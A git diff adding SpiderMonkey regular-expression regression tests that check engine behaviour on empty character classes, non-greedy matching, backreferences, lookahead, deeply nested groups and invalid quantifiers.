+ if ( eval("this."+name) != void 0 ) {
+ pass = true;
+ } else {
+ eval( "this."+ name+" = "+ false );
+ }
+
+ new TestCase( "Property: " + name +" already enumerated?",
+ false,
+ pass );
+}
diff --git a/js/src/tests/non262/RegExp/regexp-space-character-class.js b/js/src/tests/non262/RegExp/regexp-space-character-class.js
new file mode 100644
index 0000000000..a429b54bbd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regexp-space-character-class.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regexp-space-character-class.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514808;
+var summary = 'Correct space character class in regexes';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// NOTE: White space and line terminators are now tested in
+// non262/RegExp/character-class-escape-s.js.
+
+var non_space_chars = [ "\u200b", "\u200c", "\u200d" ];
+
+reportCompare(non_space_chars.some(function(ch){ return /\s/.test(ch); }), false, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-001.js b/js/src/tests/non262/RegExp/regress-001.js
new file mode 100644
index 0000000000..163a7a366b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-001.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/regress-001.js
+ * ECMA Section: N/A
+ * Description: Regression test case:
+ * JS regexp anchoring on empty match bug
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=2157
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/hex-001.js";
+var TITLE = "JS regexp anchoring on empty match bug";
+var BUGNUMBER = "2157";
+
+printBugNumber(BUGNUMBER);
+
+AddRegExpCases( /a||b/.exec(''),
+ "/a||b/.exec('')",
+ 1,
+ [''] );
+
+test();
+
+function AddRegExpCases( regexp, str_regexp, length, matches_array ) {
+
+ AddTestCase(
+ "( " + str_regexp + " ).length",
+ regexp.length,
+ regexp.length );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + str_regexp + " )[" + matches +"]",
+ matches_array[matches],
+ regexp[matches] );
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-100199.js b/js/src/tests/non262/RegExp/regress-100199.js
new file mode 100644
index 0000000000..c43665a9a7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-100199.js
@@ -0,0 +1,271 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 17 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 100199
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=100199
+ *
+ * The empty character class [] is a valid RegExp construct: the condition
+ * that a given character belong to a set containing no characters. As such,
+ * it can never be met and is always FALSE. Similarly, [^] is a condition
+ * that matches any given character and is always TRUE.
+ *
+ * Neither one of these conditions should cause syntax errors in a RegExp.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 100199;
+var summary = '[], [^] are valid RegExp conditions. Should not cause errors -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[]/;
+string = 'abc';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '/';
+status = inSection(4);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(5);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(6);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(7);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(8);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(9);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /a[]/;
+string = 'abc';
+status = inSection(10);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(11);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[';
+status = inSection(12);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[]';
+status = inSection(13);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(14);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(15);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(16);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(17);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(18);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /[^]/;
+string = 'abc';
+status = inSection(19);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+string = '';
+status = inSection(20);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = '\/';
+status = inSection(21);
+actualmatch = string.match(pattern);
+expectedmatch = Array('/');
+addThis();
+
+string = '\[';
+status = inSection(22);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[';
+status = inSection(23);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = ']';
+status = inSection(24);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+string = '[]';
+status = inSection(25);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[ ]';
+status = inSection(26);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '][';
+status = inSection(27);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+
+pattern = /a[^]/;
+string = 'abc';
+status = inSection(28);
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+string = '';
+status = inSection(29);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = 'a[';
+status = inSection(30);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a]';
+status = inSection(31);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+string = 'a[]';
+status = inSection(32);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a[ ]';
+status = inSection(33);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a][';
+status = inSection(34);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-105972.js b/js/src/tests/non262/RegExp/regress-105972.js
new file mode 100644
index 0000000000..ab6d46ba47
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-105972.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 105972:
+ * "/^.*?$/ will not match anything"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=105972
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 105972;
+var summary = 'Regression test for Bugzilla bug 105972';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * The bug: this match was coming up null in Rhino and SpiderMonkey.
+ * It should match the whole string. The reason:
+ *
+ * The * operator is greedy, but *? is non-greedy: it will stop
+ * at the simplest match it can find. But the pattern here asks us
+ * to match till the end of the string. So the simplest match must
+ * go all the way out to the end, and *? has no choice but to do it.
+ */
+status = inSection(1);
+pattern = /^.*?$/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Leave off the '$' condition - here we expect the empty string.
+ * Unlike the above pattern, we don't have to match till the end of
+ * the string, so the non-greedy operator *? doesn't try to...
+ */
+status = inSection(2);
+pattern = /^.*?/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(cnEmptyString);
+addThis();
+
+
+/*
+ * Try '$' combined with an 'or' operator.
+ *
+ * The operator *? will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will stop because the operator *? is non-greedy.
+ *
+ * The submatch $1 = (:|$) will contain the ':'
+ */
+status = inSection(3);
+pattern = /^.*?(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Hello:', ':');
+addThis();
+
+
+/*
+ * Again, '$' combined with an 'or' operator.
+ *
+ * The operator * will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will not stop since * is greedy. The match will
+ * continue until it hits $, the end-of-string boundary.
+ *
+ * The submatch $1 = (:|$) will contain the empty string
+ * conceived to exist at the end-of-string boundary.
+ */
+status = inSection(4);
+pattern = /^.*(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, cnEmptyString);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-119909.js b/js/src/tests/non262/RegExp/regress-119909.js
new file mode 100644
index 0000000000..21a8e7750d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-119909.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Jan 2002
+ * SUMMARY: Shouldn't crash on regexps with many nested parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=119909
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 119909;
+var summary = "Shouldn't crash on regexps with many nested parentheses";
+var NO_BACKREFS = false;
+var DO_BACKREFS = true;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ testThis(500, NO_BACKREFS, 'hello', 'goodbye');
+ testThis(500, DO_BACKREFS, 'hello', 'goodbye');
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+/*
+ * Creates a regexp pattern like (((((((((hello)))))))))
+ * and tests str.search(), str.match(), str.replace()
+ */
+function testThis(numParens, doBackRefs, strOriginal, strReplace)
+{
+ var openParen = doBackRefs? '(' : '(?:';
+ var closeParen = ')';
+ var pattern = '';
+
+ for (var i=0; i<numParens; i++) {pattern += openParen;}
+ pattern += strOriginal;
+ for (i=0; i<numParens; i++) {pattern += closeParen;}
+ var re = new RegExp(pattern);
+
+ var res = strOriginal.search(re);
+ res = strOriginal.match(re);
+ res = strOriginal.replace(re, strReplace);
+}
diff --git a/js/src/tests/non262/RegExp/regress-122076.js b/js/src/tests/non262/RegExp/regress-122076.js
new file mode 100644
index 0000000000..d4b16dbd9b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-122076.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Feb 2002
+ * SUMMARY: Don't crash on invalid regexp literals / \\/ /
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=122076
+ * The function checkURL() below sometimes caused a compile-time error:
+ *
+ * SyntaxError: unterminated parenthetical (:
+ *
+ * However, sometimes it would cause a crash instead. The presence of
+ * other functions below is merely fodder to help provoke the crash.
+ * The constant |STRESS| is number of times we'll try to crash on this.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 122076;
+var summary = "Don't crash on invalid regexp literals / \\/ /";
+var STRESS = 10;
+var sEval = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+sEval += 'function checkDate()'
+sEval += '{'
+sEval += 'return (this.value.search(/^[012]?\d\/[0123]?\d\/[0]\d$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkDNSName()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkEmail()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)*[\w\-]+@([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkHostOrIP()'
+sEval += '{'
+sEval += ' if (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) == -1)'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += ' else'
+sEval += ' return true;'
+sEval += '}'
+
+sEval += 'function checkIPAddress()'
+sEval += '{'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkURL()'
+sEval += '{'
+sEval += ' return (this.value.search(/^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,4}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\/\*\$+@&#;`~=%!]*)(\.\w{2,})?)*\/?)$/) != -1);'
+sEval += '}'
+
+
+for (var i=0; i<STRESS; i++)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/RegExp/regress-123437.js b/js/src/tests/non262/RegExp/regress-123437.js
new file mode 100644
index 0000000000..3a07584064
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-123437.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Feb 2002
+ * SUMMARY: regexp backreferences must hold |undefined| if not used
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437 (SpiderMonkey)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123439 (Rhino)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 123437;
+var summary = 'regexp backreferences must hold |undefined| if not used';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(a)?a/;
+string = 'a';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /a|(b)/;
+string = 'a';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /(a)?(a)/;
+string = 'a';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined, 'a');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-165353.js b/js/src/tests/non262/RegExp/regress-165353.js
new file mode 100644
index 0000000000..e95f1514b3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-165353.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=165353
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 165353;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^([a-z]+)*[a-z]$/;
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'a');
+addThis();
+
+status = inSection(3);
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+
+string = 'www.netscape.com';
+status = inSection(4);
+pattern = /^(([a-z]+)*[a-z]\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap');
+addThis();
+
+// add one more capturing parens to the previous regexp -
+status = inSection(5);
+pattern = /^(([a-z]+)*([a-z])\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap', 'e');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-169497.js b/js/src/tests/non262/RegExp/regress-169497.js
new file mode 100644
index 0000000000..d4c7b668fa
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-169497.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169497
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 169497;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var sBody = '';
+var sHTML = '';
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+sBody += '<body onXXX="alert(event.type);">\n';
+sBody += '<p>Kibology for all<\/p>\n';
+sBody += '<p>All for Kibology<\/p>\n';
+sBody += '<\/body>';
+
+sHTML += '<html>\n';
+sHTML += sBody;
+sHTML += '\n<\/html>';
+
+status = inSection(1);
+string = sHTML;
+pattern = /<body.*>((.*\n?)*?)<\/body>/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array(sBody, '\n<p>Kibology for all</p>\n<p>All for Kibology</p>\n', '<p>All for Kibology</p>\n');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-169534.js b/js/src/tests/non262/RegExp/regress-169534.js
new file mode 100644
index 0000000000..df011f2d32
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-169534.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 20 Sep 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169534
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 169534;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var re = /(\|)([\w\x81-\xff ]*)(\|)([\/a-z][\w:\/\.]*\.[a-z]{3,4})(\|)/ig;
+var str = "To sign up click |here|https://www.xxxx.org/subscribe.htm|";
+actual = str.replace(re, '<a href="$4">$2</a>');
+expect = 'To sign up click <a href="https://www.xxxx.org/subscribe.htm">here</a>';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-187133.js b/js/src/tests/non262/RegExp/regress-187133.js
new file mode 100644
index 0000000000..3a939fc7bd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-187133.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 January 2003
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=187133
+ *
+ * The tests here employ the regular expression construct:
+ *
+ * (?!pattern)
+ *
+ * This is a "zero-width lookahead negative assertion".
+ * From the Perl documentation:
+ *
+ * For example, /foo(?!bar)/ matches any occurrence
+ * of 'foo' that isn't followed by 'bar'.
+ *
+ * It is "zero-width" means that it does not consume any characters and that
+ * the parens are non-capturing. A non-null match array in the example above
+ * will have only have length 1, not 2.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 187133;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(\.(?!com|org)|\/)/;
+status = inSection(1);
+string = 'ah.info';
+actualmatch = string.match(pattern);
+expectedmatch = ['.', '.'];
+addThis();
+
+status = inSection(2);
+string = 'ah/info';
+actualmatch = string.match(pattern);
+expectedmatch = ['/', '/'];
+addThis();
+
+status = inSection(3);
+string = 'ah.com';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /(?!a|b)|c/;
+status = inSection(4);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(5);
+string = 'bc';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(6);
+string = 'd';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-188206.js b/js/src/tests/non262/RegExp/regress-188206.js
new file mode 100644
index 0000000000..0ca4d46610
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-188206.js
@@ -0,0 +1,182 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Invalid use of regexp quantifiers should generate SyntaxErrors
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=85721#c48 etc.
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=190685
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=197451
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following are invalid uses of regexp quantifiers and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time -
+ *
+ */
+status = inSection(1);
+testThis(' /a**/ ');
+
+status = inSection(2);
+testThis(' /a***/ ');
+
+status = inSection(3);
+testThis(' /a++/ ');
+
+status = inSection(4);
+testThis(' /a+++/ ');
+
+/*
+ * The ? quantifier, unlike * or +, may appear twice in succession.
+ * Thus we need at least three in a row to provoke a SyntaxError -
+ */
+
+status = inSection(5);
+testThis(' /a???/ ');
+
+status = inSection(6);
+testThis(' /a????/ ');
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(9);
+testThis(' /+a/ ');
+
+status = inSection(10);
+testThis(' /++a/ ');
+
+status = inSection(11);
+testThis(' /?a/ ');
+
+status = inSection(12);
+testThis(' /??a/ ');
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to BOTH ECMA and Perl.
+ *
+ * Just as with the * and + quantifiers above, can't have two {DecmalDigits}
+ * quantifiers in succession - it's a SyntaxError.
+ */
+status = inSection(28);
+testThis(' /x{1}{1}/ ');
+
+status = inSection(29);
+testThis(' /x{1,}{1}/ ');
+
+status = inSection(30);
+testThis(' /x{1,2}{1}/ ');
+
+status = inSection(31);
+testThis(' /x{1}{1,}/ ');
+
+status = inSection(32);
+testThis(' /x{1,}{1,}/ ');
